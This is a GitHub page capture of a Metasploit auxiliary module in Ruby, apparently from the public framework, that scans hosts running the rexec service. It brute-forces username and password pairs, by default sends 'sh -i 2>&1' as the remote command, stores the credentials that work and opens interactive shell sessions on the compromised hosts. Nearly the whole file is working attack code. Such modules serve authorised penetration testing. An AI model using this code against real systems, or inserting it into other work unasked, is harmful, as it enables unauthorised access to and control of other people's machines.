-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
rexec_login.rb
192 lines (157 loc) · 4.8 KB
/
rexec_login.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::ReportSummary
def initialize
super(
'Name' => 'rexec Authentication Scanner',
'Description' => %q{
This module will test an rexec service on a range of machines and
report successful logins.
NOTE: This module requires access to bind to privileged ports (below 1024).
},
'References' =>
[
[ 'CVE', '1999-0651' ],
[ 'CVE', '1999-0502'] # Weak password
],
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(512),
OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ]),
OptInt.new( 'STDERR_PORT', [ false, 'The port to listen on for stderr', nil ])
])
end
def run_host(ip)
print_status("#{ip}:#{rport} - Starting rexec sweep")
if datastore['ENABLE_STDERR']
# For each host, bind a privileged listening port for the target to connect
# back to.
ret = listen_on_random_port(datastore['STDERR_PORT'])
if not ret
return :abort
end
sd, stderr_port = ret
else
sd = stderr_port = nil
end
# The maximum time for a host is set here.
Timeout.timeout(300) {
each_user_pass { |user, pass|
do_login(user, pass, sd, stderr_port)
}
}
sd.close if sd
end
def do_login(user, pass, sfd, stderr_port)
vprint_status("#{target_host}:#{rport} - Attempting rexec with username:password '#{user}':'#{pass}'")
cmd = datastore['CMD']
cmd ||= 'sh -i 2>&1'
# We must connect from a privileged port.
return :abort if not connect
sock.put("#{stderr_port}\x00#{user}\x00#{pass}\x00#{cmd}\x00")
if sfd and stderr_port
stderr_sock = sfd.accept
add_socket(stderr_sock)
else
stderr_sock = nil
end
# NOTE: We report this here, since we are awfully convinced now that this is really
# an rexec service.
report_service(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'exec'
)
# Read the expected nul byte response.
buf = sock.get_once(1) || ''
if buf != "\x00"
buf = sock.get_once(-1) || ""
vprint_error("Result: #{buf.gsub(/[[:space:]]+/, ' ')}")
return :failed
end
# should we report a vuln here? rexec allowed w/o password?!
print_good("#{target_host}:#{rport}, rexec '#{user}' : '#{pass}'")
start_rexec_session(rhost, rport, user, pass, buf, stderr_sock)
return :next_user
# For debugging only.
#rescue ::Exception
# print_error("#{$!}")
#return :abort
ensure
disconnect()
end
#
# This is only needed by rexec so it is not in the rservices mixin
#
def listen_on_random_port(specific_port = 0)
stderr_port = nil
if specific_port > 0
stderr_port = specific_port
sd = listen_on_port(stderr_port)
else
stderr_port = 1024 + rand(0x10000 - 1024)
512.times {
sd = listen_on_port(stderr_port)
break if sd
stderr_port = 1024 + rand(0x10000 - 1024)
}
end
if not sd
print_error("Unable to bind to listener port")
return false
end
add_socket(sd)
print_status("Listening on port #{stderr_port}")
[ sd, stderr_port ]
end
def listen_on_port(stderr_port)
vprint_status("Trying to listen on port #{stderr_port} ..")
sd = nil
begin
sd = Rex::Socket.create_tcp_server('LocalPort' => stderr_port)
rescue Rex::BindFailed
# Ignore and try again
end
sd
end
def start_rexec_session(host, port, user, pass, proof, stderr_sock)
service_data = {
address: host,
port: port,
service_name: 'exec',
proof: proof,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: user,
# Save a reference to the socket so we don't GC prematurely
stderr_sock: stderr_sock
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
if datastore['CreateSession']
start_session(self, "rexec #{user}:#{pass} (#{host}:#{port})", login_data, false, self.sock)
# Don't tie the life of this socket to the exploit
self.sockets.delete(stderr_sock)
self.sock = nil
end
end
end